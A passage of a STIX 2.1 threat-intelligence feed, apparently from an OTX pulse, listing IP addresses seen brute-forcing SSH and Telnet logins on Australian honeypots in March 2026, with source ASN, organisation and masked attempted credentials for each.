      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.215.127.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T16:15:04.000Z",
      "valid_until": "2026-04-27T16:15:02.000Z"
    },
    {
      "created": "2026-03-26T16:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 83. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company. Usernames observed (masked): i*****t, m*****r, t*****r. Passwords observed (masked): 3***********4, i*********4, m********3, t*********s.",
      "id": "indicator--7569064b-14ff-41c3-a91a-e5885592094e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T16:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '144.124.199.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T16:15:04.000Z",
      "valid_until": "2026-04-27T16:15:02.000Z"
    },
    {
      "created": "2026-03-26T16:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 45758. Organisation(s): Triple T Broadband Public Company Limited.",
      "id": "indicator--17d89b70-a4cc-4bce-b2aa-72d77331c12f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T16:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.6.240.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T16:15:04.000Z",
      "valid_until": "2026-04-27T16:15:02.000Z"
    },
    {
      "created": "2026-03-26T16:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 264. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 202412. Organisation(s): Omegatech LTD. Usernames observed (masked): a***n, r**t, t**t, u****u, u**r. Passwords observed (masked): 1*******9, p******d, 1****1, 1****3, 1***5.",
      "id": "indicator--c7867dfe-ebe8-47c7-b03f-3e7e84b76702",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T16:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.16.54.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T16:15:04.000Z",
      "valid_until": "2026-04-27T16:15:02.000Z"
    },
    {
      "created": "2026-03-26T16:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC. Usernames observed (masked): **, 3**********4, d****j, f*******d, p*******r. Passwords observed (masked): 1******8, 3***********4, 3**********4, d********!, f***********s.",
      "id": "indicator--cb4f1638-6b37-4d10-92bf-f783a6697636",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T16:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '179.33.186.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T16:15:04.000Z",
      "valid_until": "2026-04-27T16:15:02.000Z"
    },
    {
      "created": "2026-03-26T16:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--2488109a-a549-45e3-b1fb-8dd69a325d1d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T16:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T16:15:04.000Z",
      "valid_until": "2026-04-27T16:15:02.000Z"
    },
    {
      "created": "2026-03-26T16:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 3301. Organisation(s): Telia Company AB.",
      "id": "indicator--4d2cc9a7-325f-42a6-8e1e-3b71bf9c89fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T16:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.67.1.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T16:15:04.000Z",
      "valid_until": "2026-04-27T16:15:02.000Z"
    },
    {
      "created": "2026-03-26T16:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--8146080c-8231-4c9c-9945-88212365ba33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T16:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '24.199.120.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T16:15:04.000Z",
      "valid_until": "2026-04-27T16:15:02.000Z"
    },
    {
      "created": "2026-03-26T16:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--63abe6ec-dc41-4b37-8d99-9f708c5e0114",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T16:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '39.87.15.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T16:15:04.000Z",
      "valid_until": "2026-04-27T16:15:02.000Z"
    },
    {
      "created": "2026-03-26T16:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company. Usernames observed (masked): d********r, s*****r. Passwords observed (masked): d************4, s*********!.",
      "id": "indicator--34feaa23-2d28-4f54-b4f8-089fda23c55c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T16:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.133.122.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T16:15:04.000Z",
      "valid_until": "2026-04-27T16:15:02.000Z"
    },
    {
      "created": "2026-03-26T17:17:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t. Passwords observed (masked): T**********8.",
      "id": "indicator--e6a3bcdb-c493-401e-a74d-ce68ea61b416",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T17:17:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.72.169.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T17:17:21.000Z",
      "valid_until": "2026-04-27T17:15:12.000Z"
    },
    {
      "created": "2026-03-26T17:17:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): s*****e. Passwords observed (masked): s*********s.",
      "id": "indicator--91327821-1035-439a-ab7f-9b8d887e0d6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T17:17:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '39.115.195.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T17:17:21.000Z",
      "valid_until": "2026-04-27T17:15:12.000Z"
    },
    {
      "created": "2026-03-26T17:17:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**i. Passwords observed (masked): 1***5.",
      "id": "indicator--2de549bd-86c4-4d74-8469-75bd69e1ae25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T17:17:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.157.209.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T17:17:21.000Z",
      "valid_until": "2026-04-27T17:15:12.000Z"
    },
    {
      "created": "2026-03-26T17:17:21.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--6048c081-055f-489a-8507-4512794ed701",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T17:17:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '48.211.205.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T17:17:21.000Z",
      "valid_until": "2026-04-27T17:15:12.000Z"
    },
    {
      "created": "2026-03-26T17:17:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): c****e, 3**********4, a********r, b*******k, s****z. Passwords observed (masked): 1****6, 3***********4, 3**********4, a***n, a********r.",
      "id": "indicator--0b80916a-d5f3-4c83-bb64-0beb5ec6206d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T17:17:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.91.11.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T17:17:21.000Z",
      "valid_until": "2026-04-27T17:15:12.000Z"
    },
    {
      "created": "2026-03-26T17:17:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 132280. Organisation(s): Symphony Communication Thailand PCL.. Usernames observed (masked): g**e, g****b, h*****r, o******d, s*********s. Passwords observed (masked): c******e, g**e, h********3, p******d, s*********s.",
      "id": "indicator--5c860d12-d5ac-4eb3-a47a-9d34bb7f9c76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T17:17:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '83.118.24.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T17:17:21.000Z",
      "valid_until": "2026-04-27T17:15:12.000Z"
    },
    {
      "created": "2026-03-26T18:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--805b270d-49f6-4e7d-b69d-7563ef749bf7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T18:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.26.86.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T18:15:04.000Z",
      "valid_until": "2026-04-27T18:15:02.000Z"
    },
    {
      "created": "2026-03-26T18:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 872. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, o****e, t**t, g****b, u**r. Passwords observed (masked): 1****6, a****3, *, ***, 1******8.",
      "id": "indicator--0656cf16-dde2-4abe-8600-6698f4df556f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T18:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.211.113.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T18:15:04.000Z",
      "valid_until": "2026-04-27T18:15:02.000Z"
    },
    {
      "created": "2026-03-26T18:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266632. Organisation(s): Sul Internet Equipamentos de Informatica Ltda ME.",
      "id": "indicator--a2916cc1-e088-4a3d-b406-74373c251a72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T18:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '128.201.148.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T18:15:04.000Z",
      "valid_until": "2026-04-27T18:15:02.000Z"
    },
    {
      "created": "2026-03-26T18:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 151858. Organisation(s): INTERDIGI JOINT STOCK COMPANY. Usernames observed (masked): j**a. Passwords observed (masked): j******!.",
      "id": "indicator--ae81962a-0a0d-4ba0-8645-110f90dce683",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T18:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.50.54.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T18:15:04.000Z",
      "valid_until": "2026-04-27T18:15:02.000Z"
    },
    {
      "created": "2026-03-26T18:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--3fcba79d-7390-41a3-9836-19b40bcb5068",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T18:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.222.188.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T18:15:04.000Z",
      "valid_until": "2026-04-27T18:15:02.000Z"
    },
    {
      "created": "2026-03-26T18:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 203758. Organisation(s): Eugamehost Ltd. Usernames observed (masked): ***. Passwords observed (masked): t*****4.",
      "id": "indicator--31602bf7-b7ca-4153-914a-7925963e2ee4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T18:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '83.147.29.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T18:15:04.000Z",
      "valid_until": "2026-04-27T18:15:02.000Z"
    },
    {
      "created": "2026-03-26T18:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 209605. Organisation(s): UAB Host Baltic. Usernames observed (masked): ***. Passwords observed (masked): .",
      "id": "indicator--0573dac1-2730-4e14-bc3b-fd68fe6274a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T18:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.224.92.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T18:15:04.000Z",
      "valid_until": "2026-04-27T18:15:02.000Z"
    },
    {
      "created": "2026-03-26T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--4e7d9023-75ba-4575-98f5-66377979adae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.234.19.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:15:04.000Z",
      "valid_until": "2026-04-27T19:15:01.000Z"
    },
    {
      "created": "2026-03-26T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): A******1, n**o.",
      "id": "indicator--bac56965-bd30-428b-bf7c-ea87f4f293e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.36.117.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:15:04.000Z",
      "valid_until": "2026-04-27T19:15:01.000Z"
    },
    {
      "created": "2026-03-26T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NG. ASN(s): 37125. Organisation(s): Layer3. Usernames observed (masked): r**t. Passwords observed (masked): 1*******d.",
      "id": "indicator--c982a6be-6958-458f-8944-f25334071505",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '102.164.35.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:15:04.000Z",
      "valid_until": "2026-04-27T19:15:01.000Z"
    },
    {
      "created": "2026-03-26T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 123. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): 3**********4, h**e, s****h, a*****e, s**v. Passwords observed (masked): 3***********4, 3**********4, ***, 1***5, 1****6.",
      "id": "indicator--b44a2422-d241-40f4-ba85-b8f59cbdd37f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '107.173.10.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:15:04.000Z",
      "valid_until": "2026-04-27T19:15:01.000Z"
    },
    {
      "created": "2026-03-26T19:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--4c6b9f3d-e99b-4394-b3a2-d1736e5aa418",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.151.110.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:15:04.000Z",
      "valid_until": "2026-04-27T19:15:01.000Z"
    },
    {
      "created": "2026-03-26T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): X*W@.ZAQ!.",
      "id": "indicator--9dd6441c-e97c-46fc-9664-2f110b3c426f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.29.4.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:15:04.000Z",
      "valid_until": "2026-04-27T19:15:01.000Z"
    },
    {
      "created": "2026-03-26T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 264007. Organisation(s): Eletric Telecomunicacoes e Informatica LTDA ME. Usernames observed (masked): r**t. Passwords observed (masked): a*********@, j***s.",
      "id": "indicator--1a2edf45-e9aa-4e8e-bb9e-85844cc32c7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.0.180.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:15:04.000Z",
      "valid_until": "2026-04-27T19:15:01.000Z"
    },
    {
      "created": "2026-03-26T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 205775. Organisation(s): Neon Core Network LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, U******4, W*****6.",
      "id": "indicator--d6d8a99a-7568-4596-87ed-fdc4e860b52a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.45.45.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:15:04.000Z",
      "valid_until": "2026-04-27T19:15:01.000Z"
    },
    {
      "created": "2026-03-26T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MA. ASN(s): 6713. Organisation(s): Itissalat Al-MAGHRIB. Usernames observed (masked): p****r, r**t. Passwords observed (masked): 3***********4.",
      "id": "indicator--42a05dd6-e2e8-4251-933d-59a069e470ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.144.225.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:15:04.000Z",
      "valid_until": "2026-04-27T19:15:01.000Z"
    },
    {
      "created": "2026-03-26T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 172. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): 3**********4, j**a, **, h**n, r**t. Passwords observed (masked): 3***********4, 3**********4, a*****2, h******s, j******!.",
      "id": "indicator--bce34d88-1b4f-4207-bacd-a48ceef3d6ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:15:04.000Z",
      "valid_until": "2026-04-27T19:15:01.000Z"
    },
    {
      "created": "2026-03-26T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): t*******r, 3**********4, ***, ***, w*****r. Passwords observed (masked): 1**4, 3***********4, 3**********4, W********3, o*****s.",
      "id": "indicator--51b7c2e3-7bd0-4316-a2c9-1876bf632b67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.114.98.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:15:04.000Z",
      "valid_until": "2026-04-27T19:15:01.000Z"
    },
    {
      "created": "2026-03-26T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--51e9c7db-7b4b-45b0-bb82-6b09c5a8a6d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.202.118.67']",
      "pattern_type": "stix",
